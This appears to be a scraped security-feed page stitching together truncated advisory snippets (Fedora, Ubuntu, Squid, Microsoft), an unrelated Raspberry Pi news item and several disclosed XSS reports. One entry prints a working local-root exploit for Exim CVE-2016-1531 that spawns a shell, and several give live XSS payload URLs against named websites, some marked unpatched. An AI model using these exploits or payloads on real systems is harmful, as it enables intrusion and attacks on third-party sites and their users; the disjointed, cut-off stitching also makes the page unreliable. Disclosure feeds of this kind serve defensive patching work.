MS16-029: Description of the security update for 2007 Microsoft Office Suite: March 8, 2016

None None...

Ubuntu 14.04 LTS : Django regression (USN-2915-3)

The remote Ubuntu 14.04 LTS host has a package installed that is affected by a vulnerability as referenced in the USN-2915-3 advisory. USN-2915-1 fixed vulnerabilities in Django. The upstream fix for CVE-2016-2512 introduced a regression for certain applications. This update fixes the problem by...

Exim 4.84-3 Local Root / Privilege Escalation

!/bin/sh CVE-2016-1531 exim /tmp/root.pm EOF package root; use strict; use warnings; system"/bin/sh"; EOF PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps...

Fedora 23 : poco-1.4.2p1-3.fc23 (2016-4a3e5618eb)

Apply patch for CVE-2014-0350 1091813 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. %NASLMINLEVEL...

Fedora 22 : firefox-44.0.2-3.fc22 (2016-8794abe899)

New upstream 44.0.2 - Fixed plugin crashes rhbz1259525 ---- - Updated to new upstream 44.0.1 - Fixed AppChooser dialog crashes Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean...

Fedora 23 : pacemaker-1.1.13-3.fc23 (2015-f9864ecd8f)

Security fix for CVE-2015-1867: issue allegedly present in pacemaker-1.1.12, fixed in pacemaker-1.1.13. pacemaker-1.1.13-3.fc21,22,23 - Update to Pacemaker-1.1.13 post-release + patches sync - Add nagios-plugins-metadata subpackage enabling support of selected Nagios plugins as resources recogniz...

Fedora 23 : phpMyAdmin-4.5.4.1-1.fc23 (2016-e55278763e)

phpMyAdmin 4.5.4.1 2016-01-28 =============================== - Error with PMA 4.4.15.3 - Remove hard dependency on phpseclib phpMyAdmin 4.5.4 2016-01-28 ============================= - live data edit of big sets is not working - Table list not saved in db QBE bookmarked search - While 'changing ...

Fedora 21 : pacemaker-1.1.13-3.fc21 (2015-e5e36bbb87)

Security fix for CVE-2015-1867: issue allegedly present in pacemaker-1.1.12, fixed in pacemaker-1.1.13. pacemaker-1.1.13-3.fc21,22,23 - Update to Pacemaker-1.1.13 post-release + patches sync - Add nagios-plugins-metadata subpackage enabling support of selected Nagios plugins as resources recogniz...

nightfall.fr XSS vulnerability

Vulnerable URL: http://nightfall.fr/index.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 391573 Google Pagerank| 3 VIP website status:| No Check nightfall.fr SSL connection:|...

Ubuntu: Security Advisory (USN-2913-3)

The remote host is missing an update for the SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Raspberry Pi 3 — New $35 MicroComputer with Built-in Wi-Fi and Bluetooth

While celebrating its computer's fourth birthday, the Raspberry Pi Foundation has launched a brand new Raspberry Pi today. Great news for all Micro-computing fans – A new, powerful Raspberry Pi 3 Model B in town. Months after introducing just $5 Raspberry Pi Zero, Raspberry Pi Foundation has...

[SECURITY] Fedora 23 Update: rubygem-actionview-4.2.3-3.fc23

Simple, battle-tested conventions and helpers for building web pages...

Design/Logic Flaw

The Edge Side Includes ESI parser in Squid 3.x before 3.5.15 and 4.x before 4.0.7 does not check buffer limits during XML parsing, which allows remote HTTP servers to cause a denial of service assertion failure and daemon exit via a crafted XML document, related to esi/CustomParser.cc and...

Design/Logic Flaw

http.cc in Squid 3.x before 3.5.15 and 4.x before 4.0.7 proceeds with the storage of certain data after a response-parsing failure, which allows remote HTTP servers to cause a denial of service assertion failure and daemon exit via a malformed response...

ssq.com XSS vulnerability

Vulnerable URL: http://www.ssq.com/resources/search.asp Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1901721 Google Pagerank| 3 VIP website status:| No Check ssq.com SSL...

phpMyAdmin 4.0.x < 4.0.10.10 / 4.2.x < 4.2.13.3 / 4.3.x < 4.3.13.1 / 4.4.x < 4.4.6.1 Multiple Vulnerabilities (PMASA-2015-2, PMASA-2015-3)

Binary data 9104.prm...

efukt.com XSS vulnerability

Vulnerable URL: http://efukt.com/?search=%3C/title%3E%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1139 Google Pagerank| 3 VIP website status:| Yes Check efukt.com...

navking.com XSS vulnerability

Vulnerable URL: http://www.navking.com/SalesPointAddress.aspx?dsalespointid=208filepicture=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3Ename=Vodafoneurl=www.vodafone.com.trpointtypesname=%C4%B0%C5%9F%20Ortaklar%C4%B1m%C4%B1z Details: Description| Value ---|--- Patched:| No Latest check for patch:...

sendeasy.gr XSS vulnerability

Vulnerable URL: http://www.sendeasy.gr/affiliate/scripts/banner.php?aaid=tospitimougrbid=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

buscorestaurantes.com XSS vulnerability

Vulnerable URL: http://www.buscorestaurantes.com/searchresults.php?keywords='onmouseover='confirm/XSSPOSED/button=buscarpmd=ad34dd1ffacecf5828c62dcf7a9b1f37check=9235766303 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...